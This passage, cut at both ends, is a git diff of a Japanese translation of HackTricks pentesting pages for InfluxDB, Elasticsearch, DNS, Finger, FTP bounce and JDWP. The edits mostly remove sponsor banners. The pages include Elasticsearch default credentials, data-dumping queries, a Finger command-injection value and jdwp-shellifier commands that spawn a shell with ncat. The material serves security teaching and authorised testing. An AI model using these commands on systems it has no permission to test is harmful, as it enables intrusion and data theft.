からNginxのダウンロードを開始し、ajpモジュールでコンパイルします: ```bash # Compile Nginx with the ajp module git clone https://github.com/dvershinin/nginx_ajp_module.git @@ -99,19 +84,4 @@ docker run -it --rm -p 80:80 nginx-ajp-proxy - [https://github.com/yaoweibin/nginx_ajp_module](https://github.com/yaoweibin/nginx_ajp_module) -
- -経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加しましょう! - -**ハッキングの洞察**\ -ハッキングのスリルと課題に深く掘り下げたコンテンツに参加してください - -**リアルタイムハックニュース**\ -リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界を把握してください - -**最新のお知らせ**\ -新しいバグバウンティの開始や重要なプラットフォームの更新について最新情報を得てください - -今日、[**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、トップハッカーとコラボレーションを始めましょう! - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/8086-pentesting-influxdb.md b/src/network-services-pentesting/8086-pentesting-influxdb.md index 91f1a6fae..f48ba509b 100644 --- a/src/network-services-pentesting/8086-pentesting-influxdb.md +++ b/src/network-services-pentesting/8086-pentesting-influxdb.md @@ -1,18 +1,11 @@ # 8086 - Pentesting InfluxDB -
- -\ -[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=8086-pentesting-influxdb)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\ -今すぐアクセスを取得: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=8086-pentesting-influxdb" %} {{#include ../banners/hacktricks-training.md}} ## 基本情報 -**InfluxDB**は、InfluxDataによって開発されたオープンソースの**時系列データベース(TSDB)**です。TSDBは、タイムスタンプと値のペアで構成される時系列データの保存と提供に最適化されています。一般的なデータベースと比較して、TSDBは時系列データセットの**ストレージスペース**と**パフォーマンス**において大幅な改善を提供します。特化した圧縮アルゴリズムを使用し、古いデータを自動的に削除するように構成できます。特化したデータベースインデックスもクエリパフォーマンスを向上させます。 +**InfluxDB** は、InfluxData によって開発されたオープンソースの **時系列データベース (TSDB)** です。TSDB は、タイムスタンプと値のペアで構成される時系列データの保存と提供に最適化されています。一般的なデータベースと比較して、TSDB は時系列データセットの **ストレージスペース** と **パフォーマンス** において大幅な改善を提供します。特化した圧縮アルゴリズムを使用し、古いデータを自動的に削除するように設定できます。特化したデータベースインデックスもクエリパフォーマンスを向上させます。 **デフォルトポート**: 8086 ``` @@ -31,11 +24,11 @@ InfluxDBは認証を必要とする場合としない場合があります。 influx -host 'host name' -port 'port #' > use _internal ``` -このようなエラーが発生した場合: `ERR: unable to parse authentication credentials`、それは**いくつかの認証情報を期待している**ことを意味します。 +このようなエラーが発生した場合: `ERR: unable to parse authentication credentials`、**認証情報を期待している**ことを意味します。 ``` influx –username influx –password influx_pass ``` -InfluxDBには認証をバイパスする脆弱性がありました: [**CVE-2019-20933**](https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933) +influxdbには認証をバイパスする脆弱性がありました: [**CVE-2019-20933**](https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933) ### 手動列挙 @@ -54,7 +47,7 @@ _internal ``` #### テーブル/測定値を表示 -The [**InfluxDB documentation**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting_started/) explains that **measurements** in InfluxDB can be paralleled with SQL tables. The nomenclature of these **measurements** is indicative of their respective content, each housing data relevant to a particular entity. +The [**InfluxDB documentation**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting_started/) は、InfluxDBの**測定値**がSQLテーブルに相当することを説明しています。これらの**測定値**の名称は、それぞれの内容を示しており、特定のエンティティに関連するデータを格納しています。 ```bash > show measurements name: measurements @@ -111,11 +104,3 @@ time cpu host usage_guest usage_guest_nice usage_idle msf6 > use auxiliary/scanner/http/influxdb_enum ``` {{#include ../banners/hacktricks-training.md}} - -
- -\ -[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=8086-pentesting-influxdb)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、**自動化**します。\ -今すぐアクセスを取得: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=8086-pentesting-influxdb" %} diff --git a/src/network-services-pentesting/9200-pentesting-elasticsearch.md b/src/network-services-pentesting/9200-pentesting-elasticsearch.md index 6ef241bb7..188db529e 100644 --- a/src/network-services-pentesting/9200-pentesting-elasticsearch.md +++ b/src/network-services-pentesting/9200-pentesting-elasticsearch.md @@ -2,17 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -
- -**あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** - -**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを利用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - ## 基本情報 -Elasticsearchは、**分散型**、**オープンソース**の検索および分析エンジンで、**あらゆる種類のデータ**に対応しています。**速度**、**スケーラビリティ**、**シンプルなREST API**で知られています。Apache Luceneの上に構築され、2010年にElasticsearch N.V.(現在のElastic)によって最初にリリースされました。Elasticsearchは、データの取り込み、強化、保存、分析、視覚化のためのオープンソースツールのコレクションであるElastic Stackのコアコンポーネントです。このスタックは一般にELK Stackと呼ばれ、LogstashやKibanaも含まれ、現在はBeatsと呼ばれる軽量データ送信エージェントがあります。 +Elasticsearchは、**分散型**、**オープンソース**の検索および分析エンジンで、**あらゆる種類のデータ**に対応しています。**速度**、**スケーラビリティ**、および**シンプルなREST API**で知られています。Apache Luceneの上に構築され、2010年にElasticsearch N.V.(現在はElasticとして知られる)によって最初にリリースされました。Elasticsearchは、データの取り込み、強化、保存、分析、可視化のためのオープンソースツールのコレクションであるElastic Stackのコアコンポーネントです。このスタックは一般にELK Stackと呼ばれ、LogstashやKibanaも含まれ、現在はBeatsと呼ばれる軽量データ送信エージェントがあります。 ### Elasticsearchインデックスとは? @@ -20,7 +12,7 @@ Elasticsearchの**インデックス**は、**関連するドキュメント** Elasticsearchは、効率的なデータ構造である**逆インデックス**を使用して、高速な全文検索を実現しています。このインデックスは、ドキュメント内のすべてのユニークな単語をリストし、各単語が出現するドキュメントを特定します。 -インデックス作成プロセス中に、Elasticsearchはドキュメントを保存し、逆インデックスを構築し、ほぼリアルタイムでの検索を可能にします。**インデックスAPI**は、特定のインデックス内のJSONドキュメントを追加または更新するために使用されます。 +インデックス作成プロセス中に、Elasticsearchはドキュメントを保存し、逆インデックスを構築することで、ほぼリアルタイムの検索を可能にします。**インデックスAPI**は、特定のインデックス内のJSONドキュメントを追加または更新するために使用されます。 **デフォルトポート**: 9200/tcp @@ -47,7 +39,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user" ```bash {"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401} ``` -それは、認証が設定されており、**有効な資格情報**が必要であることを意味します。これにより、elasticsearchから情報を取得できます。その後、[**ブルートフォースを試すことができます**](../generic-hacking/brute-force.md#elasticsearch)(HTTP基本認証を使用しているため、BF HTTP基本認証を使用できるものは何でも使用できます)。\ +それは、認証が設定されており、**有効な資格情報**が必要であることを意味します。これにより、elasticsearchから情報を取得できます。その後、[**ブルートフォースを試すことができます**](../generic-hacking/brute-force.md#elasticsearch)(HTTP基本認証を使用しているため、HTTP基本認証をブルートフォースできるものは何でも使用できます)。\ ここに**デフォルトのユーザー名のリスト**があります:_**elastic**(スーパーユーザー)、remote_monitoring_user、beats_system、logstash_system、kibana、kibana_system、apm_system、_ \_anonymous\_。_ Elasticsearchの古いバージョンでは、このユーザーのデフォルトパスワードは**changeme**です。 ``` curl -X GET http://user:password@IP:9200/ @@ -65,7 +57,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/" ``` ### Elastic Info -以下は、elasticsearchに関する情報を**取得するために**、**GET**を介して**アクセスできる**いくつかのエンドポイントです: +以下は、elasticsearchに関する情報を**取得するために**、**GET**を介して**アクセスできる**エンドポイントです: | \_cat | /\_cluster | /\_security | | ------------------------------ | ----------------------------- | ------------------------ | @@ -118,16 +110,16 @@ yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 ![](<../images/image (914).png>) -_この時点で、銀行インデックス内の各ドキュメント(エントリ)の内容と、前のセクションで見たこのインデックスのフィールドを比較してみてください。_ +_銀行インデックス内の各ドキュメント(エントリ)の内容と、前のセクションで見たこのインデックスのフィールドを比較する時間を取ってください。_ -ここで、**"hits"内に"total"というフィールドがあり、**このインデックス内に**1000のドキュメントが見つかった**ことを示していることに気付くかもしれませんが、実際に取得されたのは10件だけです。これは、**デフォルトで10件のドキュメントに制限があるためです。**\ -しかし、**このインデックスに1000のドキュメントが含まれていることがわかったので、**ダンプしたいエントリの数を**`size`**パラメータで指定して、**すべてをダンプすることができます**:`http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\ -\&#xNAN;_注:より大きな数を指定すると、すべてのエントリがダンプされます。例えば、`size=9999`と指定すると、エントリがもっとあった場合は奇妙になります(ただし、確認する必要があります)。_ +この時点で、**"hits"内に"total"というフィールドがあり、**このインデックス内に**1000のドキュメントが見つかった**ことを示していることに気付くかもしれませんが、実際に取得されたのは10件だけです。これは、**デフォルトで10件のドキュメントに制限があるためです。**\ +しかし、**このインデックスに1000のドキュメントが含まれていることがわかったので、**ダンプしたいエントリの数を**`size`**パラメータで指定して、**すべてをダンプできます**:`http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\ +\&#xNAN;_注:より大きな数を指定すると、すべてのエントリがダンプされます。例えば、`size=9999`を指定すると、エントリがもっとあった場合は奇妙になります(ただし、確認する必要があります)。_ ### すべてをダンプ -すべてをダンプするには、**以前と同じパスに行きますが、インデックスを指定せずに**`http://host:9200/_search?pretty=true`にアクセスします。例えば、`http://10.10.10.115:9200/_search?pretty=true`のように。\ -この場合、**デフォルトの10件の制限**が適用されることを忘れないでください。`size`パラメータを使用して、**より多くの結果をダンプする**ことができます。詳細については前のセクションを参照してください。 +すべてをダンプするには、**以前と同じパスに行きますが、インデックスを指定しないでください**`http://host:9200/_search?pretty=true`。例えば、`http://10.10.10.115:9200/_search?pretty=true`のように。\ +この場合、**デフォルトの10件の制限**が適用されることを忘れないでください。`size`パラメータを使用して、**より多くの結果をダンプできます**。詳細については前のセクションを参照してください。 ### 検索 @@ -135,15 +127,15 @@ _この時点で、銀行インデックス内の各ドキュメント(エン ![](<../images/image (335).png>) -特定のインデックスで**検索したい場合は**、**パス**にそれを**指定するだけです**:`http://host:9200//_search?pretty=true&q=` +特定のインデックスで**検索したい場合は**、**パス**にそれを**指定**するだけです:`http://host:9200//_search?pretty=true&q=` _qパラメータは、コンテンツを検索するために**正規表現をサポートしています**。_ -また、Elasticsearchサービスをファズするために、[https://github.com/misalabs/horuz](https://github.com/misalabs/horuz)のようなものを使用することもできます。 +Elasticsearchサービスをファズするために、[https://github.com/misalabs/horuz](https://github.com/misalabs/horuz)のようなものを使用することもできます。 ### 書き込み権限 -新しいインデックス内に新しいドキュメントを作成しようとして、書き込み権限を確認できます。次のようなコマンドを実行します: +新しいインデックス内に新しいドキュメントを作成しようとして、次のようなコマンドを実行することで、書き込み権限を確認できます。 ```bash curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/json' -d' { @@ -175,12 +167,5 @@ msf > use auxiliary/scanner/elasticsearch/indices_enum - `port:9200 elasticsearch` -
- -**あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** - -**実際のビジネスに影響を与える重要で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを利用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-dns.md b/src/network-services-pentesting/pentesting-dns.md index f7adacad6..8fbdd22ce 100644 --- a/src/network-services-pentesting/pentesting-dns.md +++ b/src/network-services-pentesting/pentesting-dns.md @@ -2,17 +2,10 @@ {{#include ../banners/hacktricks-training.md}} -
- -**ウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** - -**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを利用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## **基本情報** -**ドメインネームシステム (DNS)** はインターネットのディレクトリとして機能し、ユーザーがgoogle.comやfacebook.comのような**覚えやすいドメイン名**を通じてウェブサイトにアクセスできるようにします。ドメイン名をIPアドレスに変換することで、DNSはウェブブラウザがインターネットリソースを迅速に読み込むことを保証し、オンライン世界のナビゲートを簡素化します。 +**ドメインネームシステム (DNS)** はインターネットのディレクトリとして機能し、ユーザーが google.com や facebook.com のような **覚えやすいドメイン名** を通じてウェブサイトにアクセスできるようにします。数値のインターネットプロトコル (IP) アドレスの代わりに。ドメイン名を IP アドレスに変換することで、DNS はウェブブラウザがインターネットリソースを迅速に読み込むことを保証し、オンライン世界のナビゲートを簡素化します。 **デフォルトポート:** 53 ``` @@ -26,15 +19,15 @@ PORT STATE SERVICE REASON - **DNSルートサーバー**: これらはDNS階層の最上部にあり、トップレベルドメインを管理し、下位サーバーが応答しない場合にのみ介入します。インターネット名称と番号割り当て機関(**ICANN**)がその運営を監督しており、世界中で13のサーバーがあります。 - **権威あるネームサーバー**: これらのサーバーは、指定されたゾーン内のクエリに対して最終的な決定権を持ち、明確な回答を提供します。応答できない場合、クエリはルートサーバーにエスカレーションされます。 - **非権威あるネームサーバー**: DNSゾーンに対する所有権がないこれらのサーバーは、他のサーバーへのクエリを通じてドメイン情報を収集します。 -- **キャッシングDNSサーバー**: このタイプのサーバーは、以前のクエリの回答を一定の時間記憶し、将来のリクエストの応答時間を短縮します。キャッシュの期間は権威あるサーバーによって決定されます。 -- **フォワーディングサーバー**: 単純な役割を果たすフォワーディングサーバーは、クエリを別のサーバーに中継するだけです。 +- **キャッシングDNSサーバー**: このタイプのサーバーは、将来のリクエストの応答時間を短縮するために、以前のクエリの回答を一定時間記憶します。キャッシュの期間は権威あるサーバーによって決定されます。 +- **フォワーディングサーバー**: シンプルな役割を果たすフォワーディングサーバーは、クエリを別のサーバーに中継するだけです。 - **リゾルバー**: コンピュータやルーターに統合されているリゾルバーは、ローカルで名前解決を実行し、権威あるものとは見なされません。 ## 列挙 ### **バナーグラビング** -DNSにはバナーはありませんが、`version.bind. CHAOS TXT`のマジッククエリを取得できます。これはほとんどのBINDネームサーバーで機能します。\ +DNSにはバナーはありませんが、`version.bind. CHAOS TXT`のマジッククエリを取得することができます。これはほとんどのBINDネームサーバーで機能します。\ このクエリは`dig`を使用して実行できます: ```bash dig version.bind CHAOS TXT @DNS @@ -53,7 +46,7 @@ dig any victim.com @ ``` ### **ゾーン転送** -この手順は `Asynchronous Full Transfer Zone` (`AXFR`) の略です。 +この手順は `Asynchronous Full Transfer Zone` (`AXFR`) と略されます。 ```bash dig axfr @ #Try zone transfer without domain dig axfr @ #Try zone transfer guessing the domain @@ -85,7 +78,7 @@ nslookup > 127.0.0.1 #Reverse lookup of 127.0.0.1, maybe... > #Reverse lookup of a machine, maybe... ``` -### 有用なMetasploitモジュール +### 有用なmetasploitモジュール ```bash auxiliary/gather/enum_dns #Perform enumeration actions ``` @@ -102,7 +95,7 @@ dnsrecon -r /24 -n #DNS reverse of all of the addresses dnsrecon -d active.htb -a -n #Zone transfer ``` > [!NOTE] -> 内部IPアドレスに解決するサブドメインを見つけることができた場合、そのIP範囲を要求するドメインのNSに対してリバースDNSブルートフォースを実行することを試みるべきです。 +> 内部IPアドレスに解決するサブドメインを見つけた場合、そのIP範囲を要求するドメインのNSに対してリバースDNSブルートフォースを実行することを試みるべきです。 別のツール: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan) @@ -144,11 +137,11 @@ dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns ### DNS再帰DDoS もし**DNS再帰が有効**になっている場合、攻撃者はUDPパケットの**起源**を**偽装**して**DNSが被害者サーバーに応答を送信する**ようにすることができます。攻撃者は**ANY**または**DNSSEC**レコードタイプを悪用することができ、これらはより大きな応答を持つためです。\ -DNSが**再帰**をサポートしているかどうかを**確認**する方法は、ドメイン名をクエリし、**フラグ "ra"** (_再帰利用可能_) が応答に含まれているかを**確認**することです: +DNSが**再帰**をサポートしているかどうかを**確認**する方法は、ドメイン名をクエリし、**フラグ "ra"**(_再帰利用可能_)が応答に含まれているかを**確認**することです: ```bash dig google.com A @ ``` -**利用不可**: +**非利用可能**: ![](<../images/image (123).png>) @@ -156,22 +149,15 @@ dig google.com A @ ![](<../images/image (146).png>) -
- -**あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** - -**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、重要な証拠を収集するために自動化されたエクスプロイトを使用するための20以上のカスタムツールを使用して、あなたの努力を説得力のある報告書に変えます。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ### 存在しないアカウントへのメール -**被害者のドメインを使用して存在しないアドレスにメールを送信すること**は、被害者が**ヘッダー**に**内部サーバーの名前やIPアドレス**などの興味深い情報を含む不達通知(NDN)メッセージを送信するきっかけになる可能性があります。 +**被害者のドメインを使用して存在しないアドレスにメールを送信すること**は、被害者が配信不能通知(NDN)メッセージを送信するきっかけとなる可能性があり、その**ヘッダー**には**内部サーバーの名前やIPアドレス**などの興味深い情報が含まれている可能性があります。 ## ポストエクスプロイト - Bindサーバーの設定を確認する際は、**`allow-transfer`**パラメータの設定を確認してください。これはゾーン転送を実行できる人を示し、**`allow-recursion`**および**`allow-query`**は再帰リクエストやリクエストを送信できる人を示します。 -- 機械内で検索するのが興味深いDNS関連ファイルの名前は次のとおりです: +- 次のファイルは、機械内で検索するのに興味深いDNS関連のファイル名です: ``` host.conf /etc/resolv.conf @@ -184,7 +170,7 @@ host.conf ## 参考文献 - [https://www.myrasecurity.com/en/knowledge-hub/dns/](https://www.myrasecurity.com/en/knowledge-hub/dns/) -- 書籍: **Network Security Assessment 3rd edition** +- 書籍: **Network Security Assessment 第3版** ## HackTricks 自動コマンド ``` @@ -239,12 +225,4 @@ Description: DNS enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; set RPORT 53; run; exit' && msfconsole -q -x 'use auxiliary/gather/enum_dns; set RHOSTS {IP}; set RPORT 53; run; exit' ``` -
- -**ウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** - -**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを利用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-finger.md b/src/network-services-pentesting/pentesting-finger.md index 9d1bf3b6e..242898dce 100644 --- a/src/network-services-pentesting/pentesting-finger.md +++ b/src/network-services-pentesting/pentesting-finger.md @@ -2,17 +2,10 @@ {{#include ../banners/hacktricks-training.md}} -
- -**ウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** - -**実際のビジネスに影響を与える重要で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを利用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## **基本情報** -**Finger** プログラム/サービスは、コンピュータユーザーに関する詳細を取得するために利用されます。通常、提供される情報には **ユーザーのログイン名、フルネーム** が含まれ、場合によっては追加の詳細も含まれます。これらの追加の詳細には、オフィスの場所や電話番号(利用可能な場合)、ユーザーがログインした時間、非アクティブ期間(アイドル時間)、ユーザーが最後にメールを読んだ時刻、ユーザーの計画およびプロジェクトファイルの内容が含まれることがあります。 +**Finger** プログラム/サービスは、コンピュータユーザーに関する詳細を取得するために利用されます。通常、提供される情報には **ユーザーのログイン名、フルネーム** が含まれ、場合によっては追加の詳細も含まれます。これらの追加の詳細には、オフィスの場所や電話番号(利用可能な場合)、ユーザーがログインした時間、非アクティブ期間(アイドル時間)、ユーザーが最後にメールを読んだ時刻、ユーザーのプランやプロジェクトファイルの内容が含まれることがあります。 **デフォルトポート:** 79 ``` @@ -60,12 +53,4 @@ finger "|/bin/ls -a /@example.com" finger user@host@victim finger @internal@external ``` -
- -**ウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** - -**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md b/src/network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md index 7be591eaa..0f7db1d75 100644 --- a/src/network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md +++ b/src/network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md @@ -1,16 +1,8 @@ {{#include ../../banners/hacktricks-training.md}} -
- -**あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** - -**実際のビジネスに影響を与える重要で悪用可能な脆弱性を見つけて報告します。** 私たちの20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - # 概要 -バウンスFTPサーバーにアクセスできる場合、他のFTPサーバー(認証情報を知っているサーバー)にファイルをリクエストさせ、そのファイルを自分のサーバーにダウンロードさせることができます。 +バウンスFTPサーバーにアクセスできる場合、他のFTPサーバー(認証情報を知っている場合)にファイルをリクエストさせ、そのファイルを自分のサーバーにダウンロードさせることができます。 ## 要件 @@ -18,25 +10,17 @@ - 被害者FTPサーバーの有効な認証情報 - 両方のサーバーがPORTコマンドを受け入れる(バウンスFTP攻撃) - FRPミドルサーバーのいくつかのディレクトリに書き込むことができる -- ミドルサーバーは、何らかの理由で被害者FTPサーバー内であなたよりも多くのアクセス権を持つ(これがあなたが悪用する点です) +- ミドルサーバーは、何らかの理由で被害者FTPサーバー内であなたよりも多くのアクセス権を持っている(これを利用します) ## 手順 -1. 自分のFTPサーバーに接続し、接続をパッシブにします(pasvコマンド)被害者サービスがファイルを送信するディレクトリでリッスンするようにします -2. FTPミドルサーバーが被害者サーバーに送信するファイルを作成します(エクスプロイト)。このファイルは、被害者サーバーに対して認証するために必要なコマンドのプレーンテキストで、ディレクトリを変更し、自分のサーバーにファイルをダウンロードします。 -3. FTPミドルサーバーに接続し、前のファイルをアップロードします -4. FTPミドルサーバーが被害者サーバーと接続を確立し、エクスプロイトファイルを送信します -5. 自分のFTPサーバーでファイルをキャプチャします -6. FTPミドルサーバーからエクスプロイトファイルを削除します +1. 自分のFTPサーバーに接続し、接続をパッシブにします(pasvコマンド)し、被害者サービスがファイルを送信するディレクトリで待機します。 +2. FTPミドルサーバーが被害者サーバーに送信するファイル(エクスプロイト)を作成します。このファイルは、被害者サーバーに対して認証するための必要なコマンドのプレーンテキストになります。 +3. FTPミドルサーバーに接続し、前のファイルをアップロードします。 +4. FTPミドルサーバーに被害者サーバーとの接続を確立させ、エクスプロイトファイルを送信させます。 +5. 自分のFTPサーバーでファイルをキャプチャします。 +6. FTPミドルサーバーからエクスプロイトファイルを削除します。 詳細な情報については、投稿を確認してください: [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html) -
- -**あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** - -**実際のビジネスに影響を与える重要で悪用可能な脆弱性を見つけて報告します。** 私たちの20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md b/src/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md index e9f86122a..6ccf98822 100644 --- a/src/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md +++ b/src/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md @@ -2,31 +2,23 @@ {{#include ../banners/hacktricks-training.md}} -
- -**あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** - -**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - ## Exploiting JDWPの悪用は、**プロトコルの認証と暗号化の欠如**に依存しています。一般的には**ポート8000**で見られますが、他のポートも可能です。最初の接続は、ターゲットポートに「JDWP-Handshake」を送信することで行われます。JDWPサービスがアクティブであれば、同じ文字列で応答し、その存在を確認します。このハンドシェイクは、ネットワーク上のJDWPサービスを特定するためのフィンガープリンティング手法として機能します。 プロセス識別に関しては、Javaプロセス内で「jdwk」という文字列を検索することで、アクティブなJDWPセッションを示すことができます。 -使用するツールは[jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier)です。さまざまなパラメータで使用できます: +使用するツールは[jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier)です。さまざまなパラメータで使用できます: ```bash ./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data ./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something ./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept ``` -`--break-on 'java.lang.String.indexOf'`を使用すると、エクスプロイトがより**安定**します。また、コマンドを実行する代わりにホストにバックドアをアップロードして実行する機会があれば、エクスプロイトはさらに安定します。 +`--break-on 'java.lang.String.indexOf'`を使用すると、エクスプロイトがより**安定**します。また、ホストにバックドアをアップロードしてコマンドを実行する代わりにそれを実行する機会があれば、エクスプロイトはさらに安定します。 ## 詳細 -**これは[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)の要約です。詳細については確認してください。** +**これは[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)の要約です**。詳細については確認してください。 1. **JDWPの概要**: @@ -44,16 +36,16 @@ JDWPの悪用は、**プロトコルの認証と暗号化の欠如**に依存し 4. **エクスプロイト**: -- JDWPは任意のクラスとバイトコードをロードおよび呼び出すことを許可し、セキュリティリスクを引き起こします。 -- 記事では、Javaランタイムの参照を取得し、ブレークポイントを設定し、メソッドを呼び出す5つのステップからなるエクスプロイトプロセスを詳述しています。 +- JDWPは任意のクラスやバイトコードをロードして呼び出すことを許可し、セキュリティリスクを引き起こします。 +- 記事では、Javaランタイムの参照を取得し、ブレークポイントを設定し、メソッドを呼び出す5つのステップからなるエクスプロイトプロセスが詳述されています。 5. **実際のエクスプロイト**: -- ファイアウォールの保護があるにもかかわらず、JDWPサービスは発見可能で、実際のシナリオでエクスプロイト可能です。これはShodanHQやGitHubなどのプラットフォームでの検索によって示されています。 +- 